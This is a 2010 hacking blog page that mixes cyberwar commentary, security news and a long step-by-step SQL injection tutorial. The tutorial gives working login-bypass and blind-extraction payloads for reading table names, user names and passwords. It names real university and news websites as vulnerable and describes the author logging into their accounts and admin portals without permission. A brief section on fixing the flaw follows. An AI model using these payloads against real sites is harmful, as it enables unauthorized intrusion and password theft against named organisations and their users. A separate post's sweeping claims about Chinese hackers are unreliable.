03/28/10 | Learn Ethical Hacking Tools Free Hacking Tricks How To Hack Hacking Passwords & Email Hacking

Friday, April 2, 2010

Now Is the Time to Prepare for Cyberwar

Hackers can already steal from our networks. They could paralyze them too.

'If the nation went to war today in a cyberwar, we would lose. We're the most vulnerable. We're the most connected. We have the most to lose." Former Director of National Intelligence Mike McConnell delivered that bracing statement at a recent Senate hearing on cybersecurity.

The information networks that nearly every American relies on are under constant attack by sophisticated cyber adversaries. These adversaries target our identities, our money, our businesses, our intellectual property, and our national security secrets. They often succeed. What's more, they have the potential to disrupt or disable vital information networks, which could cause catastrophic economic ...

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Cyberwar Attack on U.S. Central Command | A foreign government’s computer hackers were found lurking on a classified U.S. military network in 2008

More than 20 years ago, the United States realized that having an advantage in “intangible factors” — more information, better communications, greater precision — was as important as having more tanks or airplanes. Some call it a “force multiplier.” Cyber capabilities are a force multiplier. Having an “informational advantage” makes U.S. forces more effective. The people who plan to fight us are looking for ways to undo that advantage. Cyberattack is one.

These are not hypothetical capabilities. Other nations’ intelligence services frequently penetrate our networks. So far, they have been more interested in stealing than disruption. But in December 2008, unknown foreign intruders were able to break into Central Command’s classified networks and sit there.

Variations: A November 2009 version sighted on the CBS News magazine 60 Minutes moves the date of the putative cyber attack to November 2008, and expands on the identity and capabilities of the supposed intruders. “The malicious code opened a backdoor for a foreign power to get into the system … They could see what the traffic was, they could read documents, they could interfere with things.”

Origins: Tales of “cyberwar” and “cyberterrorist” threats against the U.S. and other countries first circulated almost two decades ago. After briefly subsiding following the terrorist attacks of September 11, 2001, the stories resurfaced, reaching a fever pitch in the Fall of 2009. The stories appear to be most frequently circulated by government contractors and credulous mainstream media.

The specific claim that a foreign government was lurking on the classified networks at U.S. Central Command, the military command for America’s Middle East engagements, appears to have originated with James Lewis at the Center for Strategic and International Studies, a Washington D.C. think-tank.

As with similar stories about computer intruders causing large-scale power outages in the United States and Brazil, the CENTCOM story has its roots in a real incident. In May 2008, an unremarkable computer worm called agent.btz was seen spreading in the wild. Like previous viruses, the worm used Microsoft Windows’ “autorun” capability to spread through removable media, such as floppy disks and USB drives, and to infect computers that encounter it on a shared network drive.

In late 2008, agent.btz began infecting U.S. military machines, and that November, it was carried into CENTCOM’s classified network on a USB thumb drive, prompting the Pentagon to ban such media outright. That’s where the popular story appears to diverge from reality. While agent.btz did, indeed, open backdoors on the computers it infected, such backdoors require connectivity to be of any use to intruders. Classified computer networks are not connected to the internet, therefore intruders would have no way of exploiting the backdoor, or, indeed, of even knowing that agent.btz had founds its way into the CENTCOM network.

Agent.btz was not the first malware to stumble into a classified network, and security experts have published no evidence that it was crafted for that purpose, or that it was created by a foreign government. And while the hackers’ code was on CENTCOM’s network, that doesn’t mean the hackers themselves were present. Claiming the virus allowed foreign intruders to “sit there” on a classified network is like complaining that Jehovah’s Witnesses are sitting in your living room because they slipped a copy of The Watchtower in your mail slot.

Follow-up: Asked about the claim, CSIS’ James Lewis acknowledged that classified computers are not allowed on the internet, but nonetheless stood by his assertion that virus authors were able to “sit there” and access classified data. He said this characterization of the malware infection came from a government source, whom he declined to name. A Pentagon spokesman did not return a phone call.

SOURCE: www.wired.com

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Tuesday, March 30, 2010

China is a haven for hackers, crackers, spy ware nuts, and general bad apples: China is the world center for malicious computer use

China is the world center for malicious computer use. Computer security experts have exposed China as the base of operations for 30% of the world’s malicious email, making China a haven for hackers, crackers, spy ware nuts, and general bad apples. However, within China, there is the city called the cybercrime capital of the world, Shaoxing. This eastern Chinese city is responsible for 21.3 percent of all targeted computer attacks. One city is responsible for over a fifth of all the world’s hacker email activity!

In a country where , you have to wonder if this is some sort of plan by the Chinese government. They wield the Internet like a bo staff in the hands of a Shaolin monk; are they working on an army of cybersoldiers? Or is this just some extracurricular capitalism? That’s too much concentration in one area for this not to be some sign of a bigger force at work.

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People are Easier to Hack then Networks: Proves GoogleHack in China

The tech blog on Forbes.com reports that the Pwn2Own competition in Vancouver is a yearly event where software hackers attempt to circumvent and compromise some high profile scalps from the software world. This year the very popular Firefox, Safari and Internet Explorer earned their respective hackers the princely sum of $10,000.

Big news that for the second year running Google’s up-and-coming Chrome browser walked untroubled from the hacking-fest, detractors may try to play this down to the relatively small portion of the market that Chrome commands, but Safari has even less market share but found itself compromised by the researchers.

Google would no doubt vaunt Chrome’s inherently secure “sandboxing” structure as the reason for these back-to-back results, but this must really put a line in said sand for next years competition. Surely any hacker looking to make a reputation for themselves will look at this browser security figure head with aspirations of making their mark.

For home users this asks the question whether this is a good reason to swap browsers – in my opinion I would look whether the browser is actively being developed, if there are regular security updates then many of the issues that effect the average web user should hopefully be addressed.

..More information can be found on and the

Xbox Live Director Got His Account Hacked

It has been confirmed that Larry Hryb, Director of Programming for Microsoft's Xbox LIVE online gaming network, has had his Xbox LIVE account hacked when he was attending the inaugural PAX East video game convention in Boston. The account hijacker even uploaded a video to its official site to demonstrate the access. Though the Microsoft's policy and enforcement director for Xbox Live, Stephen Toulouse has stated that Hryb's account had been restored and the hijacking was very specific and very targeted to Major, some interesting discussion still goes on.

To see the hacker's video, click here

Monday, March 29, 2010

How to exploit the SQL Injection Attack: Many Educational & Government Websites are Vulnerable to SQL Injection attack including Punjab Technical University (PTU), NIT Kurukshetra and Zee news Noida

Hi Readers, Today morning I received an email regarding SQL injection vulnerability. The email was from PROHACK. Actually I have subscribed its news letter. Every thing was normal except one thing.....and that was Punjab Technical University (PTU) is hackable very easily.

Actually I am a former PTU student so I have emotional touch with my UNI. I have gone thro the post and decided to check whether this is really possible or not. While googling I found that PTU Jalandhar Website XSS Vulnerability already been exploited by Mr. Ajay Pal Singh Atwal on May 29, 2006.

WTF...!!! Its being almost more then 3 years and still any average hacker can login into the website.

Where are the official authorities of PTU ???? Still after 3 years the government is sleeping. I finally decided to post this article along with the screen shoots so that some will hear the voice and fix the vulnerablities.

The first step which I have taken is to inform Registrar Mr.S. H.S. Bains and Deputy Registrar Mr.Er.S.S.Walia. Below are the screen shots of their official email ID and my email, which I sent to them.

Now lets begin step by step...how to hack websites using SQL Injection Vulnerability. Note that this is for educational purpose and if anybody use this to hack any website, I promise not to prosecute. In many countries it is illegal to use this attack. Here I am not going to share the exact method I have followed, but I will share the steps for SQL injection. One can follow these steps to perform SQL Injection attack.

WARNING:

The official website for PTU is www.ptuexam.com . On the top right of this screen, you will see the login page. Now you have to use discover other users' passwords from here. The SQL Injection attack allows external users to read details from the database. In a well designed system this will only include data that is available to the public anyway.

How to Identify a Site Vulnerable to an SQL Injection Attack

If a web page accepts text entry (for example a user name and password) then try entering a string that contains one single quote.
A vulnerable site may behave oddly given this input. You may see an error message such as that shown:

By-Pass authentication using SQL Injection

Take a guess

Before hacking the system, try to guess a user name and password. Unless you are very lucky you will not get into the system.To know more about PASSWORD GUESSING, CLICK HERE

Force an Error

If you enter a string with a single quote in it such as O'Brien for either user name or password you will get a Software Error as the SQL is invalid and cannot be parsed.

Force Entry

If you enter the string ' OR ''=' as both user name and password you can ensure that the WHERE clause always returns true. Without knowing any user names or passwords you can by-pass the log in screen. In this example you get the user name of the first person in the table.

The magic string works because it program evaluates:

SELECT name from users WHERE name='name' AND password='password'

as the 'always true' string:

SELECT name from users WHERE name='' OR ''='' AND password='' OR ''=''

Find Table Names using SQL Injection.

In which we discover the names of the tables available for viewing. The function DATABASE() will give you that value. When you know the name of the database being used you can take guesses at the names of the tables.

Does the current database contain the letter j?

' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='

Is there a table called one in database test?

' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='

Is there more than one table in the database(s) containing a j?

' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='

The below is the list of PTU students username and passwords.

Find a user names using SQL Injection:

You can only ask yes/no questions, but you can find out just about anything you want to with a little patience.

You use xx for the user name and enter the following as password:

Are there more than 10 rows in the password table?
' OR (SELECT COUNT(*) FROM users)>10 AND ''='

Is there a user with an r in his name?
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='

Is there a user (other than ajaypal) with an a in his name?
' OR EXISTS(SELECT * FROM users WHERE name!='ajaypal' AND name LIKE '%a%') AND ''='

Find the below example, You can find other users on the system. We choose to get mandeep's password in the below string.

' OR EXISTS(SELECT * FROM users WHERE name='mandeep' AND password LIKE '%w%') AND ''='

Find a password. How to discover the password for a user if you know the name of the password table and a user account.

You can now get the system to answer questions about the password table. It will only ever answer yes (and let you in) or no (by refusing entry). Your questions must take the form of a valid SQL query. In each case use a xx for the user name and the text shown as password. You can ask questions such as:

Does jake's password have a w in it?
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='

Does jake's password start with w?
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE 'w%') AND ''='

Does jake's password have an w followed by d?
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%d%') AND ''='

Is the fourth letter of jake's password w?
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '___w%') AND ''='

This works because the LIKE command uses % and _ as wildcards. The % wildcard matches any string, the _ wildcard matches a single character.

Below is the login page for NIT Kurukshetra.

After getting my hands dirty with few SQL strings, I got access to the below account. I login and simply logged out without making any changes.

After this I move towards Official website of ZEE News Noida and got the access to below ADMIN portal. Here I got the access to all the accounts.

Below is the internal view of one account. I haven't make any change or even not tried to edit any information, but my motive is only to show that up to which extent one can enter into such a websites.

Websites which are vulnerable with same SQL Injection vulnerability are listed below:

FITJEE
SPM Law College
NISCAIR
NAAC ..... and many more..!!

Causes of and Cures for SQL Injection

The SQL Injection attack is possible when the programmers who write the code behind the page neglect to properly escape strings that are used in SQL queries.

Programs common build SQL queries such to check values. For example the SQL statement: will return one row if the given user/password combination exists in the table users.

SELECT name FROM users WHERE name='freehacking' AND password='website'

Of course the values freehacking and website are taken from values entered by the user. To build the SQL query the Perl programmer might use a line such as:

$sql = "SELECT name FROM users WHERE name='$Q::name' AND password='$Q::password'"

The VB programmer might use something like:

sql = "SELECT name FROM users WHERE name='" & name & "' AND '" & password & "'"

In both cases the sql string generated will be invalid SQL if the variable name contains a single quote.

Worse, a sneaky user might enter a string that results in valid SQL, but SQL that generates unexpected reults.

Cures

The cure is simply to escape single quotes properly. In most cases that mean substitute a single quote with two single quotes. In Perl you could use:

$sql = sprintf 'SELECT name FROM users WHERE name=%s AND password=%s,

$dbh->quote($Q::name),$dbh->quote($Q::password);

In VB you could use:

sql = "SELECT name FROM users WHERE name='" & replace(name,"'","''") & _

"' AND password='" & replace(password,"'","''")

Be careful before opening emails from suspicious or unknown senders, as online security firm eScan has warned of malicious malware that are more potent that earlier variants. Security experts have said that the new variants are network aware and pose a great danger to corporate networks, as a single infection can lead to a network outbreak within an hour.

eScan has warned against opening emails or attachments with subject lines such as, "You have received A Hallmark E-Card!", "Your friend invited you to twitter!", "Thank you from Google!", "Jessica would like to be your friend on hi5!" and "Shipping update for your Amazon.com order 46732". These emails also carry zipped attachments that have been found to contain new variants of the malware.

The "You have received A Hallmark E-Card!", spam email comes with postcard.zip or a similarly named attachment. The payload in the zip file contains malware that has the capability to mass mail message(s) with the built-in SMTP client engine to the email addresses harvested from the local computer. The payload also contains a malware with the characteristics of Vundo (a.k.a VirtuMonde/VirtuMundo), a trojan horse that cause popups and advertises rogue antispyware programs. Vundo can infect a system when a browser just visits a website link contained in a spammed email. It is known to add itself to the startup registry, create a DLL file in the Windows system32 directory and inject it into system processes winlogon.exe and explorer.exe. The malware can also send downloads/requests to get other files from Internet and spread quickly by itself in a network.

Another email doing the rounds is taking advantage of the popularity of social networking sites such as "Twitter" and "Hi5" to spread. These spam emails carry a deadly payload of a variant of the Buzus worm that is a network aware bot creating trojan. On infection, it creates a startup registry entry and modifies the host files to prevent access to security websites.

To avoid such catastrophic scenarios, use reputed and genuine security software and have the latest security updates installed in your system.

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